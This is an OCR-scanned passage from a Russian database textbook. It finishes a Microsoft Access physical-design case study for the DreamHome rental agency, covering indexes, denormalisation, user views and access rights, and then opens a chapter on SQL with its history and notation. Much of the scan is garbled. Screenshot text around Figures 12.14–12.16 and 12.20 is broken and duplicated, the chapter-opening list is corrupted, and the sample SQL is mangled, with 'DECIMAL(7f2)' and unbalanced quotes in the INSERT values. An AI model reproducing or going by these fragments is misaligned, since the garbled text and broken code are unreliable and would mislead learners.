ф Ascending i Ascending .Asrendhg Ascending ; Ascending i Ascending
ф Ascending i Ascending .Asrendhg Ascending ; Ascending i Ascending
1!
1!
Ж
Ж
No
No
Puc. 12.12. Диалоговое окно Indexes для таблицы Property^for^Rent
Можно существенно повысить скорость многотабличных запросов, проиндексировав поля на обеих сторонах выполняемых соединений, а также создав индексы для всех полей, которые используются в критериях отбора запросов. Например, для таблицы Property^or^Rent можно создать дополнительные индексы, позволяющие ускорить поиск и сортировку записей о сдаваемых в аренду объектах, выбираемых по указанному региону и типу объекта. Именно этот тип поиска выполняется чаще всего при подготовке ответов на вопросы клиентов.
Однако мы предпочли создать только те индексы, которые необходимы для достижения требуемой производительности всей системы, так как поддержка индексов требует дополнительного расхода системных ресурсов, что, безусловно, является причиной снижения скорости работы системы. Для достижения оптимальной производительности базы данных приложения DreamHome были проиндексированы все поля, которые часто используются для поиска, сортировки или соединения с полями других таблиц.
Документирование результатов планирования создания вторичных индексов
Результаты создания вторичных индексов для таблиц базы данных должны быть точно отражены в сопроводительной документации с указанием причин, по которым наличие каждого индекса было признано необходимым.
Этап 5.4. Анализ необходимости введения контролируемой избыточности данных
Анализ выполнения транзакций указывает на высокую вероятность появления проблем, связанных с производительностью, в базе данных приложения DreamHome. В основном трудности будут испытывать те транзакции, которые требуют получение
доступа к таблице Property_for_Rent. Высокий уровень требований доступа к этой таблице может послужить причиной недостаточной производительности всей системы. Диаграммный анализ транзакций, требующих доступа к таблице Property for_Rent, был представлен на рис. 11.4. Для достижения требуемого уровня производительности в таблицу Property_for_Rent была внесена определенная избыточность данных, позволяющая ускорить выполнение чаще всего вызываемых транзакций. Чтобы проиллюстрировать методы внесения контролируемый избыточности в базу данных, проанализируем выполнение следующих транзакций.
Составление списка сдаваемых в аренду объектов с указанием их номера, города, в котором они расположены, типа, арендной платы и размера задатка.
Составление списка сдаваемых в аренду объектов с указанием их номера, улицы, города, в котором они находятся, а также табельного номера и фамилии отвечающих за них работников.
Этап 5.4.1. Анализ целесообразности использования производных данных
Транзакция Е осуществляет доступ к таблице Property_for_Rent с целью выборки значений полей Property_No, City, Туре и Rent, а также вычисления производного поля с именем Deposit (Задаток). Размер задатка для любого объекта определяется как удвоенное значение его арендной платы, размер которой указывается в поле Rent. На рис. 12.13 показана реализация транзакции Е с использованием функции Query-By- Example (QBE) СУБД Microsoft Access. Производное поле Deposit создается при вставке формулы 'Deposit:[Rent]*2’ в новое поле сетки QBE. Часть ’Deposit:' этого выражения задает имя нового поля, а оставшаяся часть — '[Rent]*2’ — определяет формулу его вычисления как удвоение значения поля Rent. При выполнении этого запроса генерируется набор данных, показанный на рис. 12.14.
Рис. 12.13. Сетка QBE для транзакции Е
в? Queryl Select Query■
PrppertyNumi
; y| Property Ty|>e|
■ Deposit
Aberdeen
Bungalow.
£650.00
£1.300 00
PG16
PG21
Glasgow ^Glasgow
FlatJ
£450 00-
£600.00:
£900 00
£1.200.00
PG36
^Glasgow
FlatГ
£37500
£75000
PG4
Glasgow
Flat
£350 00
£700 00
PL94
London
Flat:
£400.00;
£800.00
R^cdtrd^? Ш Л'1 j
i 2d
Рис. 12.14. Результаты выполнения запроса, подготовленного для транзакции Е
В таблицу Property for_Rent контролируемая избыточность была внесена путем добавления в уже существующую таблицу базы данных дополнительного поля с именем Deposit. Оно предназначено для постоянного хранения размера задатка для каждого из сдаваемых в аренду объектов. В результате отпадает необходимость вычислять размер задатка при каждом выполнении в базе данных транзакции Е.
Этап 5.4.2. Анализ целесообразности дублирования атрибутов или объединения таблиц
Транзакция F осуществляет доступ к таблицам Property_for_Rent и Staff с целью выборки значений полей Property_No, Street, City и Staff_No таблицы Property for_Rent, а также значения поля LName таблицы Staff. Выполнение данной транзакции требует соединения таблиц Property_for Rent и Staff по полю Staff_No. На рис. 12.15 показана реализация этой транзакции средствами QBE. На рис. 12.16 представлены результаты выполнения данного запроса.
Рис. 12.15. Сетка QBE для транзакции FРис. 12.15. Сетка QBE для транзакции F^Query?: SeleclQueiy^Query?: SeleclQueiyStaff Н<й.ф31н^^Ргоре>*^й1ДStaff Н<й.ф31н^^Ргоре>*^й1ДЯ№Я№**SG14SG14SG37SG37SL41SG14SG14SG37SG37SL41Howe Ford Ford Beech Beech LeeHowe Ford Ford Beech Beech LeePA14 PG4 PG16 PG36 PG21 PL94PA14 PG4 PG16 PG36 PG21 PL9416 Holhead :G Lawrence St5 Novar Dr2 Manor Rd :1B Dale Rd;6 Argyll St16 Holhead :G Lawrence St5 Novar Dr2 Manor Rd :1B Dale Rd;6 Argyll StAberdeen Glasgow Glasgow Glasgow Glasgow LondonAberdeen Glasgow Glasgow Glasgow Glasgow London
Рис. 12.15. Сетка QBE для транзакции F
Рис. 12.15. Сетка QBE для транзакции F
^Query?: SeleclQueiy
^Query?: SeleclQueiy
Staff Н<й.ф31н^^Ргоре>*^й1Д
Staff Н<й.ф31н^^Ргоре>*^й1Д
Я№
Я№
*
*
SG14
SG14
SG37
SG37
SL41
SG14
SG14
SG37
SG37
SL41
Howe Ford Ford Beech Beech Lee
Howe Ford Ford Beech Beech Lee
PA14 PG4 PG16 PG36 PG21 PL94
PA14 PG4 PG16 PG36 PG21 PL94
16 Holhead :G Lawrence St
5 Novar Dr
2 Manor Rd :1B Dale Rd
;6 Argyll St
16 Holhead :G Lawrence St
5 Novar Dr
2 Manor Rd :1B Dale Rd
;6 Argyll St
Aberdeen Glasgow Glasgow Glasgow Glasgow London
Aberdeen Glasgow Glasgow Glasgow Glasgow London
Puc. 12.16. Результаты выполнения запроса, подготовленного для транзакции F
Мы ввели в таблицу Property_for_Rent еще один элемент контролируемой избыточности, поместив в уже существующую таблицу базы данных копии поля LName таблицы Staff. Это поле предназначено для постоянного хранения фамилии работника компании, отвечающего за данный сдаваемый в аренду объект. В результате отпала необходимость осуществлять соединение таблиц Property_for_Rent и Staff при каждом выполнении транзакции F.
Для получения гарантий сохранения целостности базы данных (несмотря на введение в нее контролируемой избыточности) необходимо разработать прикладную программу, которая будет контролировать внесение любых изменений в значения поля LName родительской таблицы (Staff) и выполнять перенос новых значений в поле — копию дочерней таблицы (Property_for_Rent).
Подробнее речь о функции поддержки языка QBE СУБД Microsoft Access пойдет ниже, в главе 15, “Язык QBE”.
Этап 5.4.3. Документирование результатов введения избыточности
На этом этапе следует поместить в документацию подробные сведения о внесении в таблицы базы данных приложения DreamHome контролируемой избыточности с указанием причин ее введения. Кроме того, в логическую модель данных следует внести изменения, отражающие результаты проведения денормализации.
Этап 5.5. Определение требований к дисковой памяти
На этом этапе следует провести расчет объема дискового пространства, необходимого для размещения базы данных приложения DreamHome. В главе 9 были детально описаны методы вычисления объема дискового пространства, необходимого для размещения таблицы Property_for_Rent. Чтобы определить объем всей базы данных приложения DreamHome, этот расчет следует повторить для каждой из таблиц, входящих в ее состав. Подобные расчеты обязательно должны быть выполнены, что позволит удостовериться в наличии необходимого объема дискового пространства как для размещения вновь создаваемой базы данных, так и для поддержания ее на протяжении всего времени жизни системы.
Этап 6. Разработка механизмов защиты
Меры по защите базы данных приложения DreamHome реализуются нами в объеме, соответствующем требованиям заказчика. В частности, эти требования включают создание пользовательских представлений (видов), модель которых была создана при выполнении этапов 1 и 2 обсуждаемой методологии проектирования баз данных. В частности, в главах 5 и 11 были разработаны логические модели данных для представлений пользователей Manager и Supervisor приложения DreamHome. На данном этапе мы также реализуем необходимые правила доступа к таблицам базы данных.
Этап 6.1. Разработка пользовательских представлений (видов)
Для иллюстрации процесса создания представлений пользователей приложения DreamHome мы реализуем представление пользователя Supervisor о таблице Staff. Обратите внимание на то, что данное представление требует доступа только к части полей, присутствующих в таблице Staff создаваемой базы данных. Глобальное представление таблицы Staff содержит все ее атрибуты, которые присутствуют во всех представлениях отдельных типов пользователей, включающих эту таблицу. Ниже приведен полный состав атрибутов глобального представления таблицы Staff (см. приложение 11.3).
Staff (Staff_No, FName, LName, Address, Tel_No, Sex, DOB (Дата рождения), Position, Salary, Date_Joined, NIN (Национальный страховой номер), Typing_Speed, Branch_No)
Primary Key Staff_No
Alternate Key NIN
Foreign Key Branch_No references Branch(Branch_No)
Представление пользователя Supervisor требует доступа только к некоторой части атрибутов таблицы Staff в базе данных. Представление пользователя Supervisor о таблице Staff включает следующие атрибуты:
Staff (Staff_No, FName, LName, Address, Tel_No, Sex, DOB (Дата рождения), Job_Title, Typing_Speed, Branch_No)
Primary Key Staff_No
Foreign Key Branch_No references Branch(Branch_No)
Представление пользователя Supervisor о таблице Staff включает большинство ее атрибутов, за исключением атрибутов Salary, Date_Joined и NIN. Кроме того, представление пользователя Supervisor должно поддерживать возможность обновления информации в основной таблице Staff.
Можно ограничить представление пользователя о данных в одной или более таблиц базы, определив запрос выборки, который будет создавать результирующий набор данных, доступный для редактирования. При выполнении запроса выборки, СУБД Microsoft Access помещает полученные данные в динамический набор (dynaset). Динамический набор представляет собой динамическое представление данных из одной или более таблиц, отобранное и отсортированное в соответствии с описанием запроса. СУБД Microsoft Access позволяет записывать вносимые в динамический набор обновления в базовые таблицы, из которых запрос выбирал данные.
Запрос выборки для представления пользователя Supervisor о таблице Staff мы создадим с помощью функции QBE — как показано на рис. 12.17. Обратите внимание, что заголовок поля Position был изменен на JobTitle, как это принято в представлении пользователя Supervisor. На рис. 12.18 показана форма, работающая с результирующим динамическим набором данных и предназначенная для использования работниками, имеющими статус Supervisor.
Рис. 12.17. Сетка QBE для представления пользователя Supervisor о таблице Staff
Рис. 12.18. Форма, работающая с результатами выполнения запроса выборки представления пользователя Supervisor о таблице Staff
Представление, сгенерированное в результате выполнения запроса QBE, поддерживает отношение с исходной таблицей Staff. Это означает, что пользователь Supervisor сможет обновлять содержимое таблицы Staff, работая с результатами выполнения запроса.
Этап 6.2. Определение прав доступа
СУБД Microsoft Access поддерживает два традиционных метода защиты базы данных: установку пароля на открытие базы данных и организацию защиты на уровне пользователя, подразумевающей определение той части базы данных, к которой пользователь будет иметь доступ “для чтения1’ или с правом модификации.
Задание пароля
Самый простой метод защиты базы данных состоит в установке пароля для ее открытия. Как только пароль будет установлен (рис. 12.19), при каждой попытке открытия защищенной базы данных будет выводиться диалоговое окно с предложением указать пароль доступа.
Рис. 12.19. Установка пароля в диалоговом окне Set Database Password для доступа к базе данных приложения DreamHome
Открыть базу данных сможет только тот пользователь, который введет корректное значение пароля доступа. Этот метод защиты достаточно надежен, поскольку СУБД Microsoft Access шифрует введенные пароли и значение пароля нельзя будет установить при прямом просмотре файла базы данных. Однако после открытия базы данных все ее объекты становятся доступными пользователю.
Защита на уровне пользователя
В СУБД Microsoft Access используются те же методы организации защиты на уровне пользователя, что и в большинстве сетевых систем. При запуске системы пользователю предлагается указать свое имя и ввести пароль доступа. Пользователей можно описать и как членов некоторой группы, создав информационный файл рабочей группы. По умолчанию в системе имеются две рабочие группы: администраторы (группа Admins) и пользователи (группа Users). Однако при необходимости могут быть созданы и другие рабочие группы. На рис. 12.20 показано диалоговое окно, предназначенное для определения уровня защиты учетной записи пользователя и рабочей группы.
Для определения того, как пользователи и члены рабочих групп могут работать с тем или иным объектом базы данных, предназначено диалоговое окно User and Group Permissions. В примере, показанном на рис. 12.21, членам рабочей группы Users дается разрешение на просмотр, ввод и модификацию данных в таблице Proper ty_for_Rent, однако запрещается изменять формат этой таблицы.
Более детализированный контроль можно организовать путем создания дополнительных рабочих групп и назначения им необходимых прав доступа, с последующим распределением отдельных пользователей по этим группам. Процесс реализации функций защиты следует распространить на все объекты базы данных приложения DreamHome, соответственно требованиям, предъявляемым заказчиком.
Этап 6.3. Документирование созданных пользовательских представлений и мероприятий защиты
На этом этапе в документацию помещаются сведения о созданных представлениях пользователей и механизмах защиты, организованных в базе данных приложения DreamHome.
U$ei and Group Accounts
ИВ
^^^ |6”ц*| СЫ^де Logon Рг^иркф'w;?^
User-
3
Ж
|$ИШ||1М!И iliiis^
Admins
I®
,; | * ^ &** Users and Groups],
Рис. 12.20. Диалоговое окно User and Group Account для базы данных DreamHome
Puc. 12.21. Диалоговое окно User and Group Permissions для базы данных приложения DreamHome
Этап 7. Организация мониторинга и настройка функционирования системы
После того как база данных приложения DreamHome будет реализована, можно приступать к анализу ее функционирования с целью оптимизации производительности, устранения всех обнаруженных ошибочных проектных решений и отражения изменений в требованиях пользователей. Предположим, что после нескольких месяцев реальной эксплуатации созданной системы у нескольких пользователей системы появились два новых требования.
Необходимо иметь возможность хранить изображения сдаваемых в аренду объектов вместе с описанием их основных характеристик.
В среде СУБД Microsoft Access это требование вполне может быть удовлетворено, поскольку система поддерживает поля типа OLE (Object Linking and Embedding). Подобные поля могут использоваться для хранения таких объектов, как документы Microsoft Word или Microsoft Excel, рисунки, звуковые файлы и прочие типы двоичных данных, созданных различными программами. Объекты OLE могут быть связаны или внедрены в поле записи таблицы Microsoft Access, а затем помещены в форму или отчет. Для удовлетворения первого требования пользователей достаточно изменить формат таблицы Property_for_Rent, добавив в него поле с именем View типа OLE и поле с именем Comments типа Мето, в которое будет помещаться текст описания объекта. Вид формы, созданной на базе некоторых полей таблицы Ргор- erty_for_Rent, включая и вновь добавленные, показан на рис. 12.22.
В поле View будут помещаться графические изображения сдаваемого в аренду объекта, создаваемые путем сканирования фотографий и сохранения полученных изображений в формате растровых (BMP) графических файлов. Однако главным затруднением при хранении графических объектов является большой объем дискового пространства, необходимого для этого. После реализации первого требования пользователей следует продолжить наблюдения за эффективностью работы системы, чтобы получить подтверждения, что удовлетворение новых требований не отразилось негативным образом на функционировании всей системы.
Рис. 12.22. Форма, построенная на основе данных таблицы- Property_for_Rent. включая и новые поля View и Comment
Необходимо иметь возможность публиковать отчеты с описанием сдаваемых в аренду объектов в World Wide Web (WWW).
Это требование пользователей также может быть удовлетворено, поскольку СУБД Microsoft Access предоставляет в распоряжение разработчика необходимые средства доступа к Internet и создания Web-приложений. Однако для использования этих средств разработки необходимо иметь Web-броузер — например, Microsoft Internet Explorer или Netscape Navigator, — а также модем или прямое сетевое соединение с Internet. Существует возможность экспортировать отчеты в статический или динамический HTML-формат. Преобразовав отчет в HTML-формат, его можно сделать доступным пользователям Internet через Web-страницу приложения DreamHome.
Технологии, используемые для интеграции баз данных с Web-приложениями, подробно обсуждаются в главе 24, “Web-технологии и СУБД”.
Упражнения
Создайте физический проект базы данных на основе логического проекта приложения DreamHome (он описывается в главе 11, “Пример разработки логического проекта базы данных”) в среде той целевой СУБД, с которой вы работаете.
Выполните реализацию базы данных приложения DreamHome на основе физического проекта, созданного в данной главе.
Проанализируйте, позволяет ли та целевая СУБД, с которой вы работаете, реализовать два новых требования к приложению DreamHome, которые были сформулированы на этапе 7.
Создайте физический проект базы данных приложения Wellmeadows Hospital (он описан в приложении А) для той целевой СУБД, с которой вы работаете.
Выполните реализацию базы данных приложения Wellmeadows Hospital на основе физического проекта, подготовленного в упражнении 12.4.
420475539420475539
420
475
539
420
475
539
Языки баз данных
Глава 13. Язык SQL
Глава 14. Дополнительные средства языка SQL
Глава 15. Язык QBE
ГЛАВА
||рЯзык SQL
X
В этой главе
Назначение языка Structure Query Language (SQL) и его осо бая роль при работе с базами данных.
' ^И^^рия возникновения и развития языка SQL.
|||^й|||^языка SQL.
S
lNf^BiMиз баз данных с помощью оператора SELECT.
I^N^^ > №o<^ SQL-операторов, в которых:
е используются составные предложения WHERE;
^результаты выполнения запроса сортируются
|l||g|O фразы SORT BY;
«аиспользуются обобщающие функции языка SQL;
р|выбрайные данные группируются с помощью
®^'.,^раз GROUP BY и HAVING;. je; используются подзапросы;
^»|^Ыполняются соединения таблиц;
^^выполняются операции с множествами (UNION, INTERSECT, EXCEPT). жё^^Внесение изменений в базу данных с помощью операторов
INSERT, UPDATE и DELETE. Ч
|ЙЙ|^Типы данных; поддерживаемые стандартом SQL2.
Цбр : Создание и удаление таблйц и индексов средствами языка SQL.
^.'.( Сравцежё языков SQL ia^BE (Query-By-Exapmle).
В главе 3, “Реляционная модель”, детально описывалась реляционная модель данных и связанные с ней реляционные языки. Одним из языков, появившихся в результате разработки реляционной модели данных, является язык Structured Query Language (SQL), который в настоящее время получил очень широкое распространение и фактически превратился в стандартный язык реляционных баз данных. Стандарт на язык SQL был выпущен Американским национальным институтом стандартов (ANSI) в 1986 году, а в 1987 году Международная организация стандартов (ISO) приняла этот стандарт в качестве международного. В настоящее время язык SQL поддерживается многими десятками СУБД различных типов, разработанных для самых разнообразных вычислительных платформ, начиная от персональных компьютеров и заканчивая мейнфреймами.
Ввиду особой важности, которую язык SQL приобрел в последнее время, мы решили посвятить две главы этой книги его детальному обсуждению, полагая, что исчерпывающее и глубокое знакомство с особенностями этого языка будет полезно всем — как начинающим пользователям, так и профессионалам, включая программистов, специалистов по базам данных и менеджеров. В этой и следующей главе мы будем опираться в основном на определение языка SQL, данное в стандарте ISO. Однако из-за исключительной сложности этого стандарта мы не ставим своей целью подробное освещение всех его деталей. В частности, в данной главе описываются только имеющиеся в языке SQL средства манипулирования данными.
Структура этой главы
В разделе 13.1 мы познакомимся с языком SQL и обсудим, почему в настоящее время этот язык столь важен для разработки приложений баз данных. В разделе 13.2 описывается нотация, используемая в этой книге для определения структуры SQL- операторов. В разделе 13.3 обсуждаются способы извлечения данных из таблиц с помощью средств языка SQL, а также вставка, обновление и удаление данных из таблиц. В разделе 13.4 дается краткий обзор имеющихся в языке SQL средств определения данных, а в разделе 13.5 предлагается сравнительный анализ возможностей языков SQL и QBE (последний подробно рассматривается в главе 15, “Язык QBE”).
В следующей главе мы обсудим более сложные возможности языка SQL, включая создание представлений, определение требований поддержки ссылочной целостности, управление доступом к данным и внедрение SQL-операторов в программы, написанные на других языках программирования. Позднее, в разделе 23.4, мы детально рассмотрим новые функции, которые были добавлены к спецификациям языка SQL с целью поддержки объектно-ориентированного подхода к работе с данными (стандарт SQL-3). Все используемые в этой главе примеры построены на базе материала учебного приложения DreamHome, описанного в разделе 1.7.
Введение в язык SQL
В этом разделе мы рассмотрим назначение языка SQL, познакомимся с его историей и проанализируем причины, по которым этот язык приобрел в настоящее время столь большое значение для приложений баз данных.
Назначение языка SQL
В идеале, любой язык работы с базами данных должен предоставлять пользователю следующие возможности:
создавать базы данных и таблицы с полным описанием их структуры;
выполнять основные операции манипулирования данными, такие как вставка, модификация и удаления данных из таблиц;
выполнять простые и сложные запросы, осуществляющие преобразование необработанных данных в необходимую информацию.
Кроме того, язык работы с базами данных должен решать все указанные выше задачи при минимальных усилиях со стороны пользователя, а структура и синтаксис его команд должны быть достаточно просты и доступны для изучения. И, наконец, он должен быть универсальным, т.е. отвечать некоторому признанному стандарту, что позволит использовать один и тот же синтаксис и структуру команд при переходе от одной СУБД к другой. Язык SQL удовлетворяет практически всем этим требованиям.
SQL является примером языка с трансформирующей ориентацией, или же языка, предназначенного для работы с таблицами с целью преобразования входных данных к требуемому выходному виду. Язык SQL имеет два основных компонента:
язык DDL (Data Definition Language), предназначенный для определения структур базы данных;
язык DML (Data Manipulation Language), предназначенный для выборки и обновления данных.
Язык SQL включает только команды определения и манипулирования данными — в нем отсутствуют какие-либо команды управления ходом вычислений. Другими словами, в этом языке нет команд IF ... THEN ... ELSE, GO TO, DO ... WHILE и любых других, предназначенных для управления ходом вычислительного процесса. Подобные задачи должны решаться с помощью языков программирования или управления заданиями либо интерактивно, в результате действий, выполняемых самим пользователем. По причине подобной незавершенности в плане организации вычислительного процесса язык SQL может использоваться двумя способами. Первый предусматривает интерактивную работу, заключающуюся в вводе пользователем с терминала отдельных SQL- операторов. Второй состоит во внедрении SQL-операторов в программы на процедурных языках. Технология внедрения будет рассмотрена нами в следующей главе.
Язык SQL относительно прост в изучении.
Это не процедурный язык, поэтому в нем необходимо указывать, какая информация должна быть получена, а не как ее можно получить. Иначе говоря, язык SQL не требует указания методов доступа к данным.
Как и большинство современных языков, SQL поддерживает свободный формат записи операторов. Это означает, что при вводе отдельные элементы операторов не связаны с фиксированными позициями экрана.
Структура команд задается набором ключевых слов, представляющих собой обычные слова английского языка — такие, как CREATE TABLE (Создать таблицу), INSERT (Вставить), SELECT (Выбрать). Например:
CREATE TABLE staff(sno VARCHAR(5), Iname VARCHAR(15),
salary DECIMAL(7f2));
INSERT INTO staff
VALUES ('SG16S 'BrownS 8300);
SELECT sno, Iname, salary FROM staff
WHERE salary > 10000;
Язык SQL может использоваться широким кругом пользователей, включая администраторов баз данных (АБД), руководящий персонал компании, прикладных программистов и множество других типов конечных пользователей.
В настоящее время для языка SQL существует международный стандарт (ISO, 1992 г.), формально превращающий этот язык в стандартный язык определения и манипулирования реляционными базами данных — каковым он фактически и является.
История языка SQL
Как утверждалось выше, в главе 3, “Реляционная модель”, история реляционной модели данных (и косвенно языка SQL) началась в 1970 году с публикации основополагающей статьи Е. Ф. Кодда (в то время он работал в исследовательской лаборатории корпорации IBM в г. Сан-Хосе). В 1974 году Д. Чамберлин, работавший в той же лаборатории, публикует определение языка, получившего название “Structured English Query Language”, или SEQUEL. В 1976 году была выпущена переработанная версия этого языка, SEQUEL/2; в последствии его название пришлось изменить на SQL из юридических соображений — аббревиатура SEQUEL уже использовалась кем-то ранее. Однако до настоящего времени многие люди по-прежнему произносят аббревиатуру SQL как “си-кьюэл”, хотя официально ее рекомендуется читать как “эс-кью-эл”.
В 1976 году на базе языка SEQUEL/2 корпорация IBM выпустила прототип СУБД, имевший название “System R”. Назначение этой пробной версии состояло в проверке осуществимости реляционной модели. Помимо прочих положительных аспектов, важнейшим из результатов выполнения этого проекта можно считать разработку собственно языка SQL. Однако корни этого языка уходят в язык SQUARE (Specifying Queries as Rational Expressions), который являлся предшественником проекта System R. Язык SQUARE был разработан как исследовательский инструмент для реализации реляционной алгебры посредством фраз, составленных на английском языке.
В конце 70-х годов компанией, которая ныне превратилась в корпорацию ORACLE, была выпущена СУБД ORACLE. Пожалуй, это самая первая из коммерческих реализаций реляционной СУБД, построенной на использовании языка SQL. Чуть позже появилась СУБД INGRES, использовавшая язык запросов QUEL. Этот язык был более структурированным, чем SQL, но семантика его была менее близка к обычному английскому языку. Позднее, когда язык SQL был принят как стандартный язык реляционных баз данных, СУБД INGRES была переведена на использование этого языка. В 1981 году корпорация IBM выпустила свою первую коммерческую реляционную СУБД под названием “SQL/DS” (для среды DOS/VSE). В 1982 году вышла в свет версия этой системы для среды VM/CMS, а в 1983 году — для среды MVS, но уже под названием “DB2”.
В 1982 году Американский национальный институт стандартов (ANSI) начал работу над языком RDL (Relation Database Language), руководствуясь концептуальными документами, полученными от корпорации IBM. В 1983 году к этой работе подключился Международный комитет по стандартизации (ISO). Совместные усилия обеих организации увенчались выпуском стандарта языка SQL. (От названия RDL в 1984 году отказались, а черновой проект языка был переработан с целью приближения к уже существующим реализациям языка SQL.)
Исходный вариант стандарта, который был выпущен ISO в 1987 году, вызвал волну критических оценок. В частности, Дейт, известный исследователь в этой области. указывал, что в стандарте опущены важнейшие функции, включая средства обеспечения ссылочной целостности и некоторые реляционные операторы. Кроме того, он отметил чрезмерную избыточность языка — один и тот же запрос можно было записать в нескольких различных вариантах. Большая часть критических замечаний была признана справедливой, и необходимые коррективы были внесены в стандарт еще до его публикации. Однако было решено, что важнее выпустить стандарт как можно раньше (чтобы он смог исполнять роль общей основы, на которой и сам язык, и его реализации могли бы развиваться далее), чем дожидаться, пока будут определены и согласованы все функции, которые разные люди полагают обязательными для подобного языка. В разделе 14.7 мы обсудим те функции, которые отсутствовали в первых версиях стандарта, но были включены в него позднее.
В 1989 году ISO опубликовало дополнение к стандарту, в котором определялись функции поддержки целостности данных. В 1992 году была выпущена первая, существенно пересмотренная версия стандарта ISO, которую иногда называют SQL2 (или SQL-92). Хотя некоторые из функций были определены в этом стандарте впервые,
многие из них уже были полностью или частично реализованы в одной или более коммерческих реализаций языка SQL.
Функции, которые добавляются к стандарту языка разработчиками коммерческих реализаций, принято называть расширениями. Например, в стандарте языка SQL определено шесть различных типов данных, которые могут сохраняться в базах данных. Во многих реализациях этот список дополняется разнообразными расширениями. Каждая из реализаций языка называется диалектом. Не существует двух совершенно идентичных диалектов, как в настоящее время не существует и ни одного диалекта, в точности соответствующего стандарту ISO. Более того, поскольку разработчики баз данных вводят в системы все новые функциональные возможности, они постоянно расширяют свои диалекты языка SQL, в результате чего отдельные диалекты все больше и больше отличаются друг от друга. Однако основное ядро языка SQL остается более или менее стандартизованным во всех реализациях.
Хотя исходные концепции языка SQL были разработаны корпорацией IBM, его важность очень скоро подтолкнула и других разработчиков к созданию собственных реализаций. В настоящее время на рынке доступны буквально сотни продуктов, построенных на использовании языка SQL, причем постоянно объявляется о выпуске все новых и новых.
В разделе 14.7 будут рассмотрены функции, которые были предложены для включения в последующие версии стандарта. В разделе 23.4 мы познакомимся с функциями, которые уже одобрены для включения в очередной выпуск стандарта языка SQL, предварительно получившего название SQL3. Благодаря этим функциям можно будет средствами языка SQL организовать объектно-ориентированную работу с данными.
Особая роль языка SQL
Язык SQL является первым и пока единственным стандартным языком работы с базами данных, который получил достаточно широкое распространение. Есть еще один стандартный язык работы с базами данных — Network Database Language (NDL), — который построен на использовании сетевой модели CODASYL, но применяется в очень немногих разработках. Практически все крупнейшие разработчики СУБД в настоящее создают свои продукты с использованием языка SQL либо с SQL-интефейсом. В SQL сделаны огромные инвестиции, как со стороны разработчиков, так и со стороны пользователей. Он стал частью архитектуры приложений (например, такой как System Application Architecture (SAA), разработки корпорации IBM), а также является стратегическим выбором многих крупных и влиятельных организаций (например, консорциума X/OPEN, занятого разработкой стандартов для среды UNIX). Язык SQL также стал федеральным стандартом обработки информации (Federal Information Processing Standard — FIPS), соответствовать которому необходимо для получения разрешения на продажу СУБД на территории США. Консорциум разработчиков SQL Access Group прилагает усилия по созданию расширений языка SQL, которые позволят осуществлять взаимодействие между разнородными системами.
Язык SQL используется в других стандартах и даже оказывает влияние на разработку иных стандартов как инструмент определения. В качестве примера можно привести стандарты ISO “Information Resource Dictionary System” (IRDS) (см. раздел 2.7.1) и “Remote Data Access” (RDA). Разработка языка вызвала определенную академическую заинтересованность, выразившуюся как в выработке необходимых теоретических основ, так и в подготовке успешно реализованных технических решений. Это особенно справедливо в отношении оптимизации запросов, методов распределения данных и реализации средств защиты. Было разработано специальное оборудование, повышающее эффективность машин с базами данных. Начали появляться специализированные реализации языка SQL, предназначенные для новых рынков, — например, такие как OnLine Transaction Processing (OLTP) и OnLine Analytical Processing (OLAP). Существуют планы дальнейших расширений стандарта, включающих поддержку распределенной обработки, объектно-ориентированного программирования, расширений пользователя (раздел 23.4) и мультимедиа.
Используемая терминология
Стандарт ISO SQL не поддерживает таких формальных терминов, как “отношение”, “атрибут” и “кортеж”, вместо них применяются термины “таблица”, “столбец” и “строка”. В нашем обсуждении языка SQL мы в основном будем опираться на терминологию ISO. Кроме того, следует отметить, что стандарт SQL не придерживается жестко тех определений реляционной модели данных, которые были приведены в главе 3. Например, в языке SQL допускается, что созданная в результате выполнения операции SELECT таблица может содержать дублирующиеся строки, устанавливается упорядоченность столбцов, а пользователю разрешается упорядочивать строки в таблице.
Запись SQL-операторов
В этом разделе вашему вниманию будет предложено краткое описание структуры SQL-операторов и нотации, которую мы будем использовать для определения формата различных конструкций языка SQL. SQL-оператор состоит из зарезервированных слов, а также из слов, определяемых пользователем. Зарезервированные слова являются постоянной частью языка SQL и имеют фиксированное значение. Их следует записывать в точности так, как это установлено, и нельзя разбивать на части для переноса из одной строки в другую. Слова, определяемые пользователем, задаются самим пользователем (в соответствии с определенными синтаксическими правилами) и представляют собой имена различных объектов базы данных — таблиц, столбцов, представлений, индексов и т.д. Слова в операторе размещаются в соответствии с установленными синтаксическими правилами. Хотя в стандарте это не указано, многие диалекты языка SQL требуют задания в конце оператора некоторого символа, обозначающего окончание его текста (как правило, с этой целью используется символ точки с запятой (;)).
Большинство компонентов SQL-операторов не чувствительно к регистру. Это означает, что могут использоваться любые буквы — как строчные, так и прописные. Одним важным исключением из этого правила являются символьные литералы-данные, которые должны вводиться точно так же, как были введены соответствующие им значения, хранящиеся в базе данных. Например, если в базе данных хранится значение фамилии 'SMITH', а в условии поиска указан символьный литерал 'Smith', то эта запись не будет найдена.
Поскольку язык SQL имеет свободный формат, отдельные SQL-операторы и их последовательности будут иметь более читабельный вид при использовании отступов и выравнивания. Рекомендуется придерживаться следующих правил.
Каждая фраза в операторе должна начинаться с новой строки.
Начало каждой фразы должно быть выровнено с началом остальных фраз оператора.
Если фраза имеет несколько частей, каждая из них должна начинаться с новой строки с некоторым отступом относительно начала фразы, что будет указывать на их подчиненность.
В этой и следующей главе для определения формата SQL-операторов мы будем применять следующую расширенную форму BNF-нотации (Backus Naur Form).
Прописные буквы будут использоваться для записи зарезервированных слов и должны указываться в операторах точно так же, как это будет показано.
Строчные буквы будут использоваться для записи слов, определяемых пользователем.
Вертикальная черта (|) указывает на необходимость выбора одного из нескольких приведенных значений — например, а | b | с.
Фигурные скобки определяют обязательный элемент — например, {а}.
Квадратные скобки определяют необязательный элемент — например, [а].
Многоточие (...) используется для указания необязательной возможности повторения конструкции, от нуля до нескольких раз — например, {а|Ь} [,c...L Эта запись означает, что после а или Ь может следовать от нуля до нескольких повторений с, разделенных запятыми.
На практике для определения структуры базы данных (т.е. ее таблиц) используются DDL-операторы, а для заполнения этих таблиц данными и выборки из них информации с помощью запросов — DML-операторы. В этой главе вначале мы познакомимся с DML-операторами и лишь затем обратимся к операторам языка DDL. Подобный подход отражает большую важность DML-операторов с точки зрения рядового пользователя.
Манипулирование данными
В этом разделе обсуждаются следующие операторы языка SQL DML:
SELECT — выборка данных из базы;
INSERT — вставка данных в таблицу;
UPDATE — обновление (изменение) данных в таблице;
DELETE — удаление данных из таблицы.
